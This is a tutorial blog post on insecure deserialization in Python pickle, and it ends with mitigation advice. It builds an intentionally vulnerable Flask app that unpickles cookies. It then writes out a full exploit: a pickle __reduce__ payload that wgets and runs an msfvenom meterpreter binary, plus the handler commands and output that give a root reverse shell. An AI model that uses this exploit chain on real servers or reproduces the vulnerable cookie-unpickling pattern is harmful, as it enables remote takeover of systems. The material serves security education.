An introduction to attacks based on insecure deserialization.

What is serialization?

Let’s start off by defining what exactly serialization means. Serialization is the process of converting a complex object, such as a list in python, into a format which is more suitable for certain operations such as storing into files, transmitting over a network. Serialization is also, at times, referred to as marshaling.

Serialization has an obvious benefit that it retains the structure of the original object when the data gets deserialized. This is a fancy way of saying that the list you serialized in python will directly be converted back to a list once you deserialize it and hence, it can be used as a variable’s value immediately rather than to parse it to make sense of it.

Insecure Deserialization

Insecure Deserialisation refers to when the data being deserialized abuses the logic of the application to perform unintended tasks. These tasks could range from performing Denial of Service (DoS) attacks, spawning a reverse shell and executing arbitrary code on the target.

The example below gives a peek at the severity of this vulnerability:

import pickle
import os
class BadUserClass():
def __init__(self, username):
self.username = username
def __reduce__(self):
return (self.__class__, (os.system("whoami"),))
bad_user_obj = BadUserClass("ayush")serialized_obj = pickle.dumps(bad_user_obj)# Insecure deserialization
user = pickle.loads(serialized_obj)
print("Hello!, {}".format(user.username))

Running the above code provides us with the following output, displaying desktop-fsv539h\ayush -

desktop-fsv539h\ayush
Hello!, 0

But let’s take a bit more realistic example because no one would want to exploit themselves.

Let’s assume that we have a simple web application which asks for your name and greets with a customized greeting! On the server side, we’ll have a simple flask app running with a UserIDclass to manage user data.

# flask_app.py
import os
import pickle
from uuid import uuid1
from flask import Flask, make_response, request
from base64 import b64encode, b64decode
# The User Class which assigns a random ID to each connection
class UserID:
def __init__(self, uuid=None):
self.uuid = str(uuid1())
def __str__(self):
return self.uuid
# The main Flask Backend
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
user_obj = request.cookies.get('uuid')
if user_obj == None:
msg = "Seems like you didn't have a cookie. No worries! I'll set one now!"
response = make_response(msg)
user_obj = UserID()
response.set_cookie('uuid', b64encode(pickle.dumps(user_obj)))
return response
else:
return "Hey there! {}!".format(pickle.loads(b64decode(user_obj)))
if __name__ == "__main__":
# Using host='0.0.0.0' to accept connections from all IPs
app.run(host='0.0.0.0')

A brief explanation of the app we see above is that it has a UserID class which serves to assign a unique ID to each visitor of the site. When someone visits the site, the flask app checks if there exists a cookie indicating a returning user. If it exists, the visitor is greeted with a personalized message. If the cookie does not exist, the backend sets one at that time. Here’s how it looks in action -

  • The response to a first-time visitor:
  • The response to a returning visitor:

I know that displaying the unique ID for a visitor on the browser is probably one of the worst things a back-end engineer could do but the point here is to understand insecure deserialization, so bear with me.

Now, that we know how the app functions, breaking into it is easy. Well, kind of. All we need to do, to target it, is to replace the cookie’s value set by the backend with the malicious serialized data. Let’s try and get a reverse shell. All we need to do is generate a malicious class object with the required terminal commands and set the cookie’s value to the base64 encoded value of the serialized object we created.

So, first I’ll create a meterpreter reverse shell called shell.elf with msfvenom and place it in /var/www/html -

root@kali:~# msfvenom --payload linux/x86/meterpreter/reverse_tcp -f elf -o shell.elf
root@kali:~# mv shell.elf /var/www/html/

Then the following script should take care of all the steps I mentioned before and give us the value we need, to use the payload -

# exploit.py
import os
import pickle
from base64 import b64encode
PAYLOAD = "cd /tmp && wget http://10.0.2.15/shell.elf && chmod +x shell.elf && ./shell.elf"class Exploit(object):
def __reduce__(self):
return (eval, ("os.system('" + PAYLOAD + "')",))
exploit_code = pickle.dumps(Exploit())print(b64encode(exploit_code))# Output is: b'gANjYnVpbHRpbnMKZXZhbApxAFhcAAAAb3Muc3lzdGVtKCdjZCAvdG1wICYmIHdnZXQgaHR0cDovLzEwLjAuMi4xNS9zaGVsbC5lbGYgJiYgY2htb2QgK3ggc2hlbGwuZWxmICYmIC4vc2hlbGwuZWxmJylxAYVxAlJxAy4='

Note: Firstly, for anyone who is wondering, the IP used above is what you’ll replace with your IP. Secondly, the output is a byte-string but we only need its contents so we can ignore the b' at the start and ' at the end.

Let’s visit the site and get ourselves an ID first -

Now, let’s change the cookie’s value using the browser’s JavaScript console -

Hitting refresh on the browser would trigger the backend to read the cookie value and deserialize it which will trigger our payload. So, let’s set-up our meterpreter handler before doing that -

root@kali:~# msfconsole--- snipped ---msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.0.2.15
LHOST => 10.0.2.15
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.0.2.15:4444

Hitting refresh on the browser, we execute the payload and checking back on msfconsole we have a session active and now are in the server -

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Sending stage (861480 bytes) to 10.0.2.15
[*] Meterpreter session 1 opened (10.0.2.15:4444 -> 10.0.2.15:45420) at 2019-06-02 14:13:12 -0400
meterpreter > shell
Process 3470 created.
Channel 1 created.
whoami
root

As the above snippet shows, we have a successful meterpreter shell, which gives us the ability to do virtually anything on the server, from sending additional payloads to pivoting and attacking other systems by proxying our attack traffic through this server.

By the way, if you were wondering how the target IP and our IP are the same, it’s because I ran the server on the same system. It doesn’t change or affect anything though. In a realistic situation, you’d do the same stuff we did here.

I believe that the dangers of insecure deserialization should be quite evident now. But, we should also take note of the fact that we were able to exploit the vulnerability because we had the source to look at. Insecure deserialization is one of the most difficult vulnerabilities to find and exploit. It generally requires some access to the source code of the target application itself. This can happen in two cases — a white-box testing scenario or when the attacker manages to get hold of the source somehow.

Mitigation

Even though insecure deserialization is hard to identify, one should not rely on the attacker having no luck in finding the vulnerability. We can secure the application from deserialization attacks to a great extent by implementing the following rules -

  • Validate user input.
  • Never deserialize data from an untrusted source.
  • Run the deserialization code with limited access privileges.
  • When transferring data between two systems, check if the object has been tampered with. One can use checksums for this.
  • If available, use safe deserialization methods. For example, using yaml.safe_load() instead of yaml.load() in python.

Head over to https://blog.ayushpriya.tech for more posts on security.

DSC VIT Vellore

Developer Student Clubs VIT, powered by Google Developers, is a non-profit community that aims to inspire intelligent minds in the field of technology. DSC provides opportunities where developers, designers and managers work together to carry out real-time projects.

Ayush Priya

Written by

A Python Developer and a Security Enthusiast!

DSC VIT Vellore

Developer Student Clubs VIT, powered by Google Developers, is a non-profit community that aims to inspire intelligent minds in the field of technology. DSC provides opportunities where developers, designers and managers work together to carry out real-time projects.

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade